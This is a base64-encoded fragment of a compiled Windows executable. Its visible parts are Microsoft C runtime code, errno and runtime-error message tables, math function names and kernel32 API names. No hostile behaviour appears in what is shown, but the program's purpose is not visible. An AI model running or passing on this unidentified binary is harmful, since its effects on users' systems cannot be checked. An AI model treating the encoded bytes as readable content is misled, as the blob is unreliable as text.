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BAB8AAADwJUEAcgAAAAAmQQCEAAAAICZBAIgAAAAwJkEAAAAAAAAAAABwZXJtaXNzaW9uIGRlbmllZAAAAGZpbGUgZXhpc3RzAG5vIHN1Y2ggZGV2aWNlAABmaWxlbmFtZSB0b28gbG9uZwAAAGRldmljZSBvciByZXNvdXJjZSBidXN5AGlvIGVycm9yAAAAAGRpcmVjdG9yeSBub3QgZW1wdHkAaW52YWxpZCBhcmd1bWVudAAAAABubyBzcGFjZSBvbiBkZXZpY2UAAG5vIHN1Y2ggZmlsZSBvciBkaXJlY3RvcnkAAABmdW5jdGlvbiBub3Qgc3VwcG9ydGVkAABubyBsb2NrIGF2YWlsYWJsZQAAAG5vdCBlbm91Z2ggbWVtb3J5AAAAcmVzb3VyY2UgdW5hdmFpbGFibGUgdHJ5IGFnYWluAABjcm9zcyBkZXZpY2UgbGluawAAAG9wZXJhdGlvbiBjYW5jZWxlZAAAdG9vIG1hbnkgZmlsZXMgb3BlbgBwZXJtaXNzaW9uX2RlbmllZAAAAGFkZHJlc3NfaW5fdXNlAABhZGRyZXNzX25vdF9hdmFpbGFibGUAAABhZGRyZXNzX2ZhbWlseV9ub3Rfc3VwcG9ydGVkAAAAAGNvbm5lY3Rpb25fYWxyZWFkeV9pbl9wcm9ncmVzcwAAYmFkX2ZpbGVfZGVzY3JpcHRvcgBjb25uZWN0aW9uX2Fib3J0ZWQAAGNvbm5lY3Rpb25fcmVmdXNlZAAAY29ubmVjdGlvbl9yZXNldAAAAABkZXN0aW5hdGlvbl9hZGRyZXNzX3JlcXVpcmVkAAAAAGJhZF9hZGRyZXNzAGhvc3RfdW5yZWFjaGFibGUAAAAAb3BlcmF0aW9uX2luX3Byb2dyZXNzAAAAaW50ZXJydXB0ZWQAaW52YWxpZF9hcmd1bWVudAAAAABhbHJlYWR5X2Nvbm5lY3RlZAAAAHRvb19tYW55X2ZpbGVzX29wZW4AbWVzc2FnZV9zaXplAAAAAGZpbGVuYW1lX3Rvb19sb25nAAAAbmV0d29ya19kb3duAAAAAG5ldHdvcmtfcmVzZXQAAABuZXR3b3JrX3VucmVhY2hhYmxlAG5vX2J1ZmZlcl9zcGFjZQBub19wcm90b2NvbF9vcHRpb24AAG5vdF9jb25uZWN0ZWQAAABub3RfYV9zb2NrZXQAAAAAb3BlcmF0aW9uX25vdF9zdXBwb3J0ZWQAcHJvdG9jb2xfbm90X3N1cHBvcnRlZAAAd3JvbmdfcHJvdG9jb2xfdHlwZQB0aW1lZF9vdXQAAABvcGVyYXRpb25fd291bGRfYmxvY2sAAABhZGRyZXNzIGZhbWlseSBub3Qgc3VwcG9ydGVkAAAAAGFkZHJlc3MgaW4gdXNlAADce0EAMBBAAHc4QAB3OEAAYBBAAMAQQACAEEAAkHtBADAQQADgEEAA8BBAAGAQQADAEEAAgBBAAPB7QQAwEEAAYBFAAHARQABgEEAAwBBAAIAQQAA4fEEAMBBAAMARQADQEUAAQBJAAMAQQACAEEAAZHlBAJYuQAC3SkAAYmFkIGFsbG9jYXRpb24AALB5QQC7LkAAt0pAAPx5QQC7LkAAt0pAAEx6QQC7LkAAt0pAAJx6QQDKOEAAbQBzAGMAbwByAGUAZQAuAGQAbABsAAAAQ29yRXhpdFByb2Nlc3MAAGNzbeABAAAAAAAAAAAAAAADAAAAIAWTGQAAAAAAAAAAIElAAOR6QQA4SkAAt0pAAFVua25vd24gZXhjZXB0aW9uAAAA0KNBACCkQQAobnVsbCkAACgAbgB1AGwAbAApAAAAAAAGAAAGAAEAABAAAwYABgIQBEVFRQUFBQUFNTAAUAAAAAAoIDhQWAcIADcwMFdQBwAAICAIAAAAAAhgaGBgYGAAAHhweHh4eAgHCAAABwAICAgAAAgACAAHCAAAAHRhbmgAAAAAYXNpbgAAAABhY29zAAAAAGF0YW4AAAAAYXRhbjIAAABzcXJ0AAAAAHNpbgBjb3MAdGFuAGNlaWwAAAAAZmxvb3IAAABmYWJzAAAAAG1vZGYAAAAAbGRleHAAAABfY2FicwAAAF9oeXBvdAAAZm1vZAAAAABmcmV4cAAAAF95MABfeTEAX3luAF9sb2diAAAAX25leHRhZnRlcgAAZXhwAHBvdwBsb2cAbG9nMTAAAABzaW5oAAAAAGNvc2gAAAAAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAAAAAAEZsc0FsbG9jAAAAAEZsc0ZyZWUARmxzR2V0VmFsdWUARmxzU2V0VmFsdWUASW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbkV4AENyZWF0ZUV2ZW50RXhXAABDcmVhdGVTZW1hcGhvcmVFeFcAAFNldFRocmVhZFN0YWNrR3VhcmFudGVlAENyZWF0ZVRocmVhZHBvb2xUaW1lcgAAAFNldFRocmVhZHBvb2xUaW1lcgAAV2FpdEZvclRocmVhZHBvb2xUaW1lckNhbGxiYWNrcwBDbG9zZVRocmVhZHBvb2xUaW1lcgAAAABDcmVhdGVUaHJlYWRwb29sV2FpdAAAAABTZXRUaHJlYWRwb29sV2FpdAAAAENsb3NlVGhyZWFkcG9vbFdhaXQARmx1c2hQcm9jZXNzV3JpdGVCdWZmZXJzAAAAAEZyZWVMaWJyYXJ5V2hlbkNhbGxiYWNrUmV0dXJucwAAR2V0Q3VycmVudFByb2Nlc3Nvck51bWJlcgAAAEdldExvZ2ljYWxQcm9jZXNzb3JJbmZvcm1hdGlvbgAAQ3JlYXRlU3ltYm9saWNMaW5rVwBTZXREZWZhdWx0RGxsRGlyZWN0b3JpZXMAAAAARW51bVN5c3RlbUxvY2FsZXNFeABDb21wYXJlU3RyaW5nRXgAR2V0RGF0ZUZvcm1hdEV4AEdldExvY2FsZUluZm9FeABHZXRUaW1lRm9ybWF0RXgAR2V0VXNlckRlZmF1bHRMb2NhbGVOYW1lAAAAAElzVmFsaWRMb2NhbGVOYW1lAAAATENNYXBTdHJpbmdFeAAAAEdldEN1cnJlbnRQYWNrYWdlSWQAR2V0VGlja0NvdW50NjQAAEdldEZpbGVJbmZvcm1hdGlvbkJ5SGFuZGxlRXhXAAAAU2V0RmlsZUluZm9ybWF0aW9uQnlIYW5kbGVXAAAAAAACAAAAGDVBAAgAAAB4NUEACQAAANA1QQAKAAAAKDZBABAAAABwNkEAEQAAAMg2QQASAAAAKDdBABMAAABwN0EAGAAAAMg3QQAZAAAAODhBABoAAACIOEEAGwAAAPg4QQAcAAAAaDlBAB4AAAC0OUEAHwAAAPg5QQAgAAAAwDpBACEAAAAoO0EAIgAAABg9QQB4AAAAgD1BAHkAAACgPUEAegAAALw9QQD8AAAA2D1BAP8AAADgPUEAUgA2ADAAMAAyAA0ACgAtACAAZgBsAG8AYQB0AGkAbgBnACAAcABvAGkAbgB0ACAAcwB1AHAAcABvAHIAdAAgAG4AbwB0ACAAbABvAGEAZABlAGQADQAKAAAAAAAAAAAAUgA2ADAAMAA4AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAYQByAGcAdQBtAGUAbgB0AHMADQAKAAAAAAAAAFIANgAwADAAOQANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAGUAbgB2AGkAcgBvAG4AbQBlAG4AdAANAAoAAABSADYAMAAxADAADQAKAC0AIABhAGIAbwByAHQAKAApACAAaABhAHMAIABiAGUAZQBuACAAYwBhAGwAbABlAGQADQAKAAAAAABSADYAMAAxADYADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIAB0AGgAcgBlAGEAZAAgAGQAYQB0AGEADQAKAAAAUgA2ADAAMQA3AA0ACgAtACAAdQBuAGUAeABwAGUAYwB0AGUAZAAgAG0AdQBsAHQAaQB0AGgAcgBlAGEAZAAgAGwAbwBjAGsAIABlAHIAcgBvAHIADQAKAAAAAAAAAAAAUgA2ADAAMQA4AA0ACgAtACAAdQBuAGUAeABwAGUAYwB0AGUAZAAgAGgAZQBhAHAAIABlAHIAcgBvAHIADQAKAAAAAAAAAAAAUgA2ADAAMQA5AA0ACgAtACAAdQBuAGEAYgBsAGUAIAB0AG8AIABvAHAAZQBuACAAYwBvAG4AcwBvAGwAZQAgAGQAZQB2AGkAYwBlAA0ACgAAAAAAAAAAAFIANgAwADIANAANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAF8AbwBuAGUAeABpAHQALwBhAHQAZQB4AGkAdAAgAHQAYQBiAGwAZQANAAoAAAAAAAAAAABSADYAMAAyADUADQAKAC0AIABwAHUAcgBlACAAdgBpAHIAdAB1AGEAbAAgAGYAdQBuAGMAdABpAG8AbgAgAGMAYQBsAGwADQAKAAAAAAAAAFIANgAwADIANgANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAHMAdABkAGkAbwAgAGkAbgBpAHQAaQBhAGwAaQB6AGEAdABpAG8AbgANAAoAAAAAAAAAAABSADYAMAAyADcADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABsAG8AdwBpAG8AIABpAG4AaQB0AGkAYQBsAGkAegBhAHQAaQBvAG4ADQAKAAAAAAAAAAAAUgA2ADAAMgA4AA0ACgAtACAAdQBuAGEAYgBsAGUAIAB0AG8AIABpAG4AaQB0AGkAYQBsAGkAegBlACAAaABlAGEAcAANAAoAAAAAAFIANgAwADMAMAANAAoALQAgAEMAUgBUACAAbgBvAHQA